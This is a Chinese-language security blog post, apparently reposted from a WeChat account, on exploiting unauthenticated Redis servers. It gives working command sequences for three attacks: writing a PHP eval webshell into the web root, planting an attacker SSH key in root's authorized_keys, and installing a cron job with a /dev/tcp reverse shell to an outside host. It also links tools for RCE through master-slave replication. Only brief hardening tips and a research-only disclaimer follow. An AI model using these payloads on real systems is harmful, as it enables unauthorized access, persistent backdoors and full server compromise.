redis未授权访问利用方式

admin 2025年2月15日23:24:46评论15 views字数 1720阅读5分44秒阅读模式

内网普遍存在redis未授权访问情况,进入后可查看reids版本和主机系统信息

redis未授权访问利用方式

redis未授权访问不仅有信息泄露风险,伴随启动redis权限的不同还可能引发

  • Web应用程序被写入后门

  • 服务器被写入攻击者ssh公钥

  • 攻击者利用redis创建计划任务反弹shell

  • 主从复制导致命令执行

下面详细介绍各情况

  • Web应用程序被写入后门

利用条件:

  • 知道网站物理路径

  • 物理路径有写入权限

具体流程:(假设为php环境,网站路径为/var/www/html)

#进入redis设置备份文件路径为网站物理路径config set dir /var/www/html#设置备份文件名为shell.phpconfig set dbfilename shell.php#写入webshell内容set shell "nn<?php @eval($_POST['password']);?>nn"#保存save

redis未授权访问利用方式

可以看到已经在/var/www/html中写入了shell.php文件

redis未授权访问利用方式

  • 服务器被写入攻击者ssh公钥

利用条件:

  • 对用户的/.ssh目录有写入权限,一般是写入root用户的ssh公钥

具体流程:

#在本机上生成root用户的ssh公钥ssh-keygen -t rsa将ssh公钥保存至key.txt并且前后加上"n"换行避免写入后被文件中其他内容影响cat id_rsa.pub >> key.txt#写入ssh_keycat /root/.ssh/key.txt |./redis-cli -h 172.17.0.2 -x set crack#进入redis设置ssh公钥路径config set dir /root/.ssh#设置文件名config set dbfilename authorized_keys#保存save

可以看到已经将ssh公钥写到/root/.ssh目录下

redis未授权访问利用方式

通过ssh公钥登录

redis未授权访问利用方式

  • 攻击者利用redis创建计划任务反弹shell

利用条件

  • 对计划任务的目录/etc/cron.d/、/etc/spool/cron/有写入权限

具体流程:(这里以/etc/spool/cron目录为例)

#设置备份文件路径config set dir /var/spool/cron#设置备份文件名config set dbfilename root#写入计划任务set shell "nn*/1 * * * * /bin/bash -i >& /dev/tcp/172.17.0.1/1234 0>&1nn"

redis未授权访问利用方式

成功弹回shell

redis未授权访问利用方式

PS1:

写入/etc/cron.d目录时,文件名随意,不会覆盖原有计划任务计划任务格式为:* * * * * user command写入/var/spool/cron目录时,文件名为用户名,且会覆盖该文件原有计划任务。计划任务格式为:* * * * * command

PS2:

一般是在centos上利用计划任务反弹shell,因为redis写入文件权限默认为644,centos计划任务文件权限要求为644,而ubuntu和debian计划任务要求文件权限为600,故无法执行计划任务。

PS3:

如果是由sh(dash)执行计划任务,便无法用bin/bash命令反弹shell,这时可以用python和perl,php,ruby等反弹shell

  • 主从复制导致命令执行

利用版本4.x-5.x

主从的意思就是把当前redis设置为备份库,等着把恶意文件远程备份过来,进行加载。注:从库在同步主库的时候,会把从库上的所有数据全部清空,请谨慎使用

#生成恶意文件https://github.com/n0b0dyCN/RedisModules-ExecuteCommand#模拟redis服务,并设置主备服务器与恶意文件https://github.com/Ridter/redis-rce

redis未授权访问利用方式

手动主从复制

#模拟redis服务py脚本https://cloud.tencent.com/developer/article/1646400

将恶意文件与模拟脚本放在同一目录,启动服务

redis未授权访问利用方式

在redis上操作

redis未授权访问利用方式

安全建议:

  • 开启redis密码认证并且设置高复杂度密码

  • 禁止使用root用户启动服务

  • 修改默认端口6379

原文始发于微信公众号(陆吾安全攻防实验室):redis未授权访问利用方式

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月15日23:24:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   redis未授权访问利用方式https://cn-sec.com/archives/1067351.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息